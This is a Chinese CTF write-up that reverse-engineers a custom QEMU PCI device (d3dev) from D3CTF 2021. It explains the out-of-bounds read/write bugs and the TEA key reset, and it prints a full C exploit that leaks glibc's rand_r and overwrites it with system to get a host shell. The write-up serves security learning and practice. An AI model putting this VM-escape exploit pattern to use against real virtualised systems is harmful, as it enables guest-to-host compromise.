0x00 废话环节

比赛的时间是3.5到3.7（也就是前几天），当时看了一下pwn第一题，记得题目描述里出现了三连——easy-signin-baby，感觉应该是pwn里面最简单的一题了，准备开搞~

解压出来是一个docker环境，将rootfs用binwalk解压，看一下启动脚本，给的root权限，应该是虚拟机逃逸题了

#!/bin/sh

mkdir /tmp
mount -t tmpfs none /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

mdev -s

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "Interactive mode\n"
setsid /bin/cttyhack setuidgid 0 /bin/sh # 0 即为root
umount /proc
umount /sys
poweroff -d 0 -f

这题当时比赛的时没有做出来（主要是去玩某个新玩具了，也没做过这类题目，所以就没继续做下去）

最后在github上找到的一个6小时前创建的叫d3ctf-2021-pwn-d3dev的仓库，据Readme来看应该是出题人发的，简单的讲了一下解题思路，丢了个exp，于是我也跟着分析、复现了一次，顺便也写个文章记录一下~

0x01 前置知识

1. Qemu

qemu的基本就是模拟了CPU、内存、I/O设备以及其他设备，如果开启了kvm，kvm会实现CPU以及内存的虚拟

CTF的qemu逃逸类题目基本上都是直接修改了qemu的源码，在这题里面，出题人在qemu里添加了一个pci设备，解题思路是通过设备中的漏洞以此获取host机上的flag

qemu的详细实现原理因为有大佬详细讲过了，想要了解的可以在文末找到相关主题链接自行阅读

2. PCI设备

与qemu的虚拟设备进行I/O交互通常有以下两种方式，分别是MMIO和PMIO，区别在于是否与设备共享内存，在这题里面我们两种都有用到

1. 内存映射（MMIO）

这种方法简单来讲就是直接操作I/O设备的共享内存空间，以此来交互，实现方法就是直接调用mmap映射内存，然后直接通过指针读写
mmap的fd参数为open以下两个文件之一，flags参数需要传递MAP_SHARED属性

1. 设备内存（据说有些题目用不了这种）: /sys/devices/pci0000:00/0000:00:??.?/resource0
2. 整个物理内存: /dev/mem

2. 端口映射（PMIO）（resource1）

不共享内存空间，需要调用inx和outx函数来进行交互（要先调用iopl(3)来提权）

0x02 漏洞分析

直接把qemu丢进IDA分析，然后看一下qemu的启动脚本，可以看到有个device参数后面跟了个d3dev，这应该就是漏洞所在的设备名

#!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

因为qemu二进制文件里有DWARF（调试信息），所以直接通过搜索函数名来定位相关函数是可以的，这里还有一种方法是从_start开始逐步跟下去找到初始化表，然后定位pci设备的注册表
具体流程: _libc_csu_init -> _frame_dummy_init_array_entry -> do_qemu_init_pci_d3dev_register_types

找到虚拟设备的info表后，我们可以定位到设备的初始化函数d3dev_class_init
在函数d3dev_class_init里，我们可以找到设备的vendor_id和device_id，这两个值在后面查询pci设备的时候会用到，这里我们先记下来

void __fastcall d3dev_class_init(ObjectClass_0 *a1, void *data)
{
  PCIDeviceClass_0 *v2; // rax
  v2 = (PCIDeviceClass_0 *)object_class_dynamic_cast_assert(
                             a1,
                             (const char *)&env.tlb_table[1][115]._anon_0.dummy[31],
                             "/home/eqqie/CTF/qemu-escape/qemu-source/qemu-3.1.0/hw/misc/d3dev.c",
                             229,
                             "d3dev_class_init");
  v2->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_d3dev_realize;
  v2->exit = 0LL;
  *(_DWORD *)&v2->vendor_id = 0x11E82333;       // vendor=2333 device=11E8
  v2->revision = 0x10;
  v2->class_id = 0xFF;
}

跟进pci_d3dev_realize函数里，这里分别定义了设备的两种I/O交互操作函数（即mmio和pmio）以及共享区域的大小（mmio为0x800），以便qemu检查是否越界

void __fastcall pci_d3dev_realize(d3devState *pdev, Error_0 **errp)
{
  memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &d3dev_mmio_ops, pdev, "d3dev-mmio", 0x800uLL);
  pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
  memory_region_init_io(&pdev->pmio, &pdev->pdev.qdev.parent_obj, &d3dev_pmio_ops, pdev, "d3dev-pmio", 0x20uLL);
  pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);
}

在d3dev_mmio_ops和d3dev_pmio_ops两个结构体里面，可以找到对应的read、write函数: d3dev_mmio_read、d3dev_mmio_write和d3dev_pmio_read、d3dev_pmio_write 这四个

.data.rel.ro:0000000000B78980 d3dev_mmio_ops  dq offset d3dev_mmio_read; read
.data.rel.ro:0000000000B78980                 dq offset d3dev_mmio_write; write
...
.data.rel.ro:0000000000B78920 d3dev_pmio_ops  dq offset d3dev_pmio_read; read
.data.rel.ro:0000000000B78920                 dq offset d3dev_pmio_write; write

逐个函数分析，我们可以看到d3dev_mmio_write函数里面有一个任意写

void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  ...
  if ( size == 4 )
  {
    offset = opaque->seek + (unsigned int)(addr >> 3);
    if ( opaque->mmio_write_part )
    {
      ... // 这部分后文会细讲
    }
    else
    {
      opaque->mmio_write_part = 1;
      opaque->blocks[offset] = (unsigned int)val;// 任意写
    }
  }
}

通过查看结构体我们可以发现blocks的大小刚好是0x800，也就是我们共享内存的区域，在这里我们有val、addr可控，但实际上不能通过直接控制addr来溢出，因为PCI设备在内部会检查这个地址是否越界

这里其实seek的值也是可控的，具体在d3dev_pmio_write函数里，控制seek我们就可以利用这个任意写漏洞（注意这里是通过index的方式访问内存，数组元素大小为8字节）

void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t *key; // rbp
  if ( addr == 8 )
  {
    if ( val <= 0x100 )
      opaque->seek = val;                       // 控制seek
  }
  ...
}

uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
  ...
  data = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];// 任意读
  low = data;
  high = HIDWORD(data);
  ... // 这里做了tea解密，后面会提到，这里省略
  return high;
}

继续分析其他函数，我们可以看到d3dev_mmio_read函数里其实还有任意读漏洞，分析到这里我们就有了任意读写d3devState这个结构体附近的内存

现在我们接着分析，看看有什么地方可以利用来执行system(“sh”)

void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t *key; // rbp
  if ( addr == 8 )
  {
    ...
  }
  else if ( addr > 8 )
  {
    if ( addr == 28 )
    {
      opaque->r_seed = val;                     // "sh"
      key = opaque->key;
      do
        *key++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(// system
                   &opaque->r_seed,
                   28LL,
                   val,
                   *(_QWORD *)&size);
      while ( key != (uint32_t *)&opaque->rand_r );
    }
  }
  ...
}

还是d3dev_pmio_write这个函数里（前文对这个函数的这部分进行了省略），通过rand_r指针调用了函数，函数的首个参数是r_seed，r_seed这个值我们可以直接通过val控制（这里直接写字符串”sh”即可），而rand_r的值需要我们用任意写来修改（改成system的地址），这样我们就成功获取了宿主机的shell

0x03 编写exp

1. 加解密流程

前面在讲任意读、写漏洞的时候我们省略了加解密的过程，这里简单的说一下，我们先分析d3dev_mmio_read函数

uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t data; // rax
  unsigned int i; // esi
  unsigned int low; // ecx
  uint64_t high; // rax
  ...
  i = 0xC6EF3720;
  low = data; // data为seek和addr控制的指针指向的8字节数据
  high = HIDWORD(data);
  do
  {
    LODWORD(high) = high - ((low + i) ^ (opaque->key[3] + (low >> 5)) ^ (opaque->key[2] + 16 * low));// low << 4 <=> 16 * low
    low -= (high + i) ^ (opaque->key[1] + ((unsigned int)high >> 5)) ^ (opaque->key[0] + 16 * high);
    i += 0x61C88647;
  }
  while ( i );
  ...
  return high;
}

我们读出数据的时候数据被进行了tea解密处理，其中16*low这里算一下相当于左移4位（直接看汇编也可以）
需要注意的是这里的key，实际上是可控的，通过调用d3dev_pmio_write函数可以直接清零整个key

void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t *key; // rbp
  if ( addr == 8 )
  {
    ...
  }
  else if ( addr > 8 )
  {
    ...
  }
  else if ( addr )
  {
    if ( addr == 4 )
    {
      *(_QWORD *)opaque->key = 0LL;             // key[0] = key[1] = 0
      *(_QWORD *)&opaque->key[2] = 0LL;         // key[2] = key[3] = 0
    }
  }
  else
  {
    ...
  }
}

在这里我们可以看到ida的反汇编结果有一个类型强转，0是64位，而key则是有4个32位元素的数组，这两行操作相当于清零了整个key数组

至于这个函数里对数据的解密实际上只是加密的逆操作（就是F5出来难看了点），不详细讨论

2. 计算seek值

由于我们需要把rand_r的地址覆盖成system的地址，接下来我们需要计算共享内存开始到rand_r的偏移

00000000 d3devState      struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev            PCIDevice_0 ?
000008E0 mmio            MemoryRegion_0 ?
000009D0 pmio            MemoryRegion_0 ?
00000AC0 memory_mode     dd ?
00000AC4 seek            dd ?
00000AC8 init_flag       dd ?
00000ACC mmio_read_part  dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed          dd ?
00000AD8 blocks          dq 257 dup(?)
000012E0 key             dd 4 dup(?)
000012F0 rand_r          dq ?                    ; offset
000012F8                 db ? ; undefined
000012F9                 db ? ; undefined
000012FA                 db ? ; undefined
000012FB                 db ? ; undefined
000012FC                 db ? ; undefined
000012FD                 db ? ; undefined
000012FE                 db ? ; undefined
000012FF                 db ? ; undefined
00001300 d3devState      ends

从前面任意写漏洞我们可以知道blocks即使我们共享内存的区域，从blocks到rand_r的偏移是0x818，blocks是8字节数组，计算0x818/8=0x103也就是数组的index值，我们可以直接把seek的值设置成0x100，然后将addr往后偏移3*8=24个字节即可对rand_r进行修改

3. 获取基址

设备的pci地址我们可以直接通过执行指令lspci来查看

# lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0200: 8086:100e
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 00ff: 2333:11e8
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

通过开头记下的vendor_id和device_id我们可以看出00:03.0对应的就是d3dev设备pci，然后通过cat /sys/devices/pci0000:00/0000:00:03.0/resource可以找到mmio和pmio的基址

# cat /sys/devices/pci0000:00/0000:00:03.0/resource
0x00000000febf1000 0x00000000febf17ff 0x0000000000040200
0x000000000000c040 0x000000000000c05f 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

febf1000即为mmio基址，c040即为pmio基址

0x04 测试exp

这题由于可以直接通过静态分析的结果写出exp，故省略gdb调试qemu环节（其实主要因为我不会调试docker里的qemu，有大佬知道可以留言）

exp可以通过两种方法传到客户机，分别是直接通过python脚本压缩然后b64上传（远程），或者直接修改rootfs然后重新打包回去

这里介绍第二种方法，为了方便测试我们可以直接写一个Makefile

exp:
	musl-gcc exp.c -o exp --static -Os
	strip -s exp
	find . | cpio -H newc -ov -F ../rootfs.cpio
	rm exp

之后我们直接cd到rootfs然后make即可，记得也要修改一下launch.sh，将rootfs.img改为rootfs.cpio
然后根据题目readme重新打包docker镜像、运行即可

至于第一种方法，基本上脚本都一样的写法，没什么好说的

0x05 完整exp

脚本可以在文末我的Github仓库里下载

#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

#define libc_system_offset 0x55410
#define libc_rand_r_offset 0x4aeb0

const uint32_t mmio_phy_base = 0xfebf1000;
const uint32_t mmio_mem_size = 0x800;
const uint32_t pmio_phy_base = 0xc040;

const char sys_mem_file[] = "/dev/mem";

uint64_t mmio_mem = 0x0;

int die(const char *err_info){
    printf("[-] Exit with: %s\n.", err_info);
    exit(-1);
}

void *mmap_file(const char *filename, uint32_t size, uint32_t offset){
    int fd = open(filename, O_RDWR|O_SYNC);
    if(fd<0){
        printf("[-] Can not open file: '%s'.\n", filename);
        die("OPEN ERROR!");
    }
    void *ptr = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset);
    if(ptr==MAP_FAILED){
        printf("[-] Can not mmap file: '*%s'.\n", filename);
        die("MMAP ERROR!");
    }
    close(fd);
    return ptr;
}

//mmio op
void mmio_write(uint64_t addr, uint64_t val){
    *(uint64_t *)(mmio_mem+addr) = val;
}

uint64_t mmio_read(uint64_t addr){
    return *(uint64_t *)(mmio_mem+addr);
}

//pmio op
void pmio_write(uint32_t addr, uint32_t val){
    outl(val, pmio_phy_base+addr);
}

uint32_t pmio_read(uint32_t addr){
    return inl(pmio_phy_base+addr);
}

void decode(uint32_t v[2]){
    uint32_t i = 0;
    do{
        i -= 0x61C88647;
        v[0] += ((v[1]<<4))^(v[1]+i)^((v[1]>>5));
        v[1] += ((v[0]<<4))^(v[0]+i)^((v[0]>>5));
    } while(i!=0xC6EF3720);
}

void encode(uint32_t v[2]){
    uint32_t i = 0xC6EF3720;
    do{
        v[1] -= ((v[0]<<4))^(v[0]+i)^((v[0]>>5));
        v[0] -= ((v[1]<<4))^(v[1]+i)^((v[1]>>5));
        i += 0x61C88647;
    } while(i);
}

int main(){
    mmio_mem = (uint64_t)mmap_file(sys_mem_file, mmio_mem_size, mmio_phy_base);
    printf("[+] Mmap mmio physical memory to [%p-%p].\n", (void *)mmio_mem, (void *)(mmio_mem+mmio_mem_size));
    if(iopl(3)) die("PMIO PERMISSION ERROR!");

    pmio_write(0, 1);       // memory_mode = 1
    pmio_write(4, 0);       // key[0-3] = 0
    pmio_write(8, 0x100);   // seek = 0x100
    printf("[*] Set block seek: %#x.\n", pmio_read(8));

    uint64_t glibc_randr = mmio_read(24);
    decode(&glibc_randr);
    printf("[*] rand_r@glibc %#lx.\n", glibc_randr);
    uint64_t glibc_system = glibc_randr-libc_rand_r_offset+libc_system_offset;
    printf("[+] system@glibc: %#lx.\n", glibc_system);

    encode(&glibc_system);
    printf("[*] Overwrite rand_r ptr.\n");
    mmio_write(24, glibc_system);

    pmio_write(28, 0x6873); // "sh"
    return 0;
}

0x06 exp运行结果

不出意外执行结果是这样的，我们成功获取到了host的shell

0x07 参考

[原创]QEMU逃逸初探-二进制漏洞 – 看雪论坛
strng2 湖湘杯 2019 – 安全客
出题人写的github仓库（不知道为什么404了）

0x08 附件

Github（什么时候有文件大小限制的…）
题目和idb（提取码: qjrg）